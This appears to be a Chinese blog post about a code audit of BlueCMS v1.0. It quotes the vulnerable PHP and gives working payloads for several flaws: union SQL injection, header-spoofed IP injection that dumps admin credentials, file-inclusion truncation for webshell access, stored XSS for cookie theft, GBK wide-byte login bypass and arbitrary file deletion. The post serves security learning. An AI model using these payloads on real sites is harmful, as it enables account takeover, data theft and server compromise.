zoukankan      html  css  js  c++  java
  • bluecmsv1.0代码审计

    初入代码审计,先用最朴素方法,从最简单的cms开始审计吧。

    掏出seay一顿撸。

    一 ad_js.php存在sql注入

    参数没有加单引号保护,即使包含了require_once dirname(__FILE__) . '/include/common.inc.php'; 网站配置文件,对传入的参数

    进行了统一gpc转义处理

    get_magic_quotes_gpc函数作用
    if(!get_magic_quotes_gpc())//如果php配置中没有开启gpc转义配置,则在此进行转义
    {
        $_POST = deep_addslashes($_POST);
        $_GET = deep_addslashes($_GET);
        $_COOKIES = deep_addslashes($_COOKIES);
        $_REQUEST = deep_addslashes($_REQUEST);
    }

    但是此处没有加单引号过滤。

    继续跟踪到getone函数

        function getone($sql, $type=MYSQL_ASSOC){
            $query = $this->query($sql,$this->linkid);
            $row = mysql_fetch_array($query, $type);
            return $row;
        }

    只是简单的查询语句,没有加过滤。

    ?ad_id=1 union select 1,2,3,4,5,6,7 #

    ctrl+u可以看到显示位。

    二 commenr.php头部sql注入漏洞

    function getip()
    {
        if (getenv('HTTP_CLIENT_IP'))
        {
            $ip = getenv('HTTP_CLIENT_IP'); 
        }
        elseif (getenv('HTTP_X_FORWARDED_FOR')) 
        { 
            $ip = getenv('HTTP_X_FORWARDED_FOR');
        }
        elseif (getenv('HTTP_X_FORWARDED')) 
        { 
            $ip = getenv('HTTP_X_FORWARDED');
        }
        elseif (getenv('HTTP_FORWARDED_FOR'))
        {
            $ip = getenv('HTTP_FORWARDED_FOR'); 
        }
        elseif (getenv('HTTP_FORWARDED'))
        {
            $ip = getenv('HTTP_FORWARDED');
        }
        else
        { 
            $ip = $_SERVER['REMOTE_ADDR'];
        }
        return $ip;
    }

    http头部可以伪造

    配置文件中对$*post、$*get、$*cookies和$*request统一进行gpc处理,但是遗漏了$_SERVER。而且网站恰恰通过该变量获取ip地址,因此我们就可以对ip通过client-ip或x-forwarded-for等进行伪造。

    查看哪些地方用了这个危险函数。

    comment.php 文件中有

    $sql = "INSERT INTO ".table('comment')." (com_id, post_id, user_id, type, mood, content, pub_date, ip, is_check) 
                 VALUES ('', '$id', '$user_id', '$type', '$mood', '$content', '$timestamp', '".getip()."', '$is_check')";

    发布新闻之后评论一下抓包。

     截断调试。

    添加请求头 Client-Ip: test

     确实是没有过滤的被插入到sql语句中。

    构造poc

    1.1.1.1','1'), ('', '1', '1', '1', '6', (select group_concat(admin_name,":",pwd) from blue_admin), '1613538242', '1.1.1.1

     三 文件包含漏洞

    user.php存在此漏洞

    全文追踪

    还有addslashes_deep的过滤,但是这是无法防住文件包含的。

    00截断(需要 php版本小于 5.3.8 以及 magic_quotes_gpc = Off )
    
    点号截断(只适用于windows)(php版本 5.2.17、 magic_quotes_gpc = On )
    index.php?file=phpinfo.php...........................................................................................................................................................................................................................(本次测试长度需要大于269)
    
    ./截断 (php版本 5.2.17、 magic_quotes_gpc = On )
    index.php?file=phpinfo.php././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././. /././././(本次测试长度需要大于269)

    配合文件上传包含图片马getshell。

    四 存储xss

    用户注册时候邮箱,构造xss

     后台可以弹出xss盗取cookie

     五 用户注册存在宽字节sql注入

    构造payload

    referer=&user_name=user03&pwd=user03&pwd1=user03&email=user03%401.com%df',1,1),(100, 0x757365723034, md5(123456), (select concat(admin_name,pwd) from blue_admin),1,1)#&safecode=xcpn&from=&act=do_reg

    注意注释符,可以将剩下来的那部分语句直接给注释掉,不用考虑怎么闭合,也可以像ip伪造一样不用注释符,考虑闭合。

    六  后台登录存在宽字节注入

    admin_name=admin%df'or 1=1#&admin_pwd=sssss&submit=%B5%C7%C2%BC&act=do_login
    admin%df'or 1=1#直接放在bp中 放在登录框在传输时%会被转义成%25,也就是%df'成了%25df%5c,MySQL用GBK的编码时,会认为 %df%5c 是一个宽字符。

    七 任意文件删除
    user.php任意文件删除,对于传入的face_pic3没有过滤。
    if (!empty($_POST['face_pic1'])){
            if (strpos($_POST['face_pic1'], 'http://') != false && strpos($_POST['face_pic1'], 'https://') != false){
               showmsg('只支持本站相对路径地址');
             }
            else{
               $face_pic = trim($_POST['face_pic1']);
            }
        }else{
            if(file_exists(BLUE_ROOT.$_POST['face_pic3'])){
                @unlink(BLUE_ROOT.$_POST['face_pic3']);
            }
        }
    BLUE_ROOT是当前文件所在路径。
    echo __FILE__ ; // 取得当前文件的绝对地址,结果:D:www	est.php 

    echo dirname(__FILE__); // 取得当前文件所在的绝对目录,结果:D:www

    echo dirname(dirname(__FILE__)); //取得当前文件的上一层目录名,结果:D:
    strstrpos() 函数查找字符串在另一字符串中第一次出现的位置。
    require_once dirname(__FILE__) . '/include/common.inc.php';
    
    # common.inc.php
    define('BLUE_ROOT',str_replace("\","/",substr(dirname(__FILE__),0,-7)));
    传入face_pic3值为文件名即可删除任意文件。

  • 相关阅读:
    1052. 爱生气的书店老板
    766. 托普利茨矩阵
    643.子数组的最大平均数I
    450. 删除二叉搜索树中的节点
    1489.找到最小生成树里的关键边和伪关键边
    839相似字符串
    1631.最小体力消耗路径
    SnowFlake雪花算法源码分析&灵活改造,常见分布式ID生成解决方案
    【目标检测】三、Faster R-CNN与R-FCN
    【目标检测】二、Fast R-CNN与SVD
  • 原文地址:https://www.cnblogs.com/akger/p/15133825.html
Copyright © 2011-2022 走看看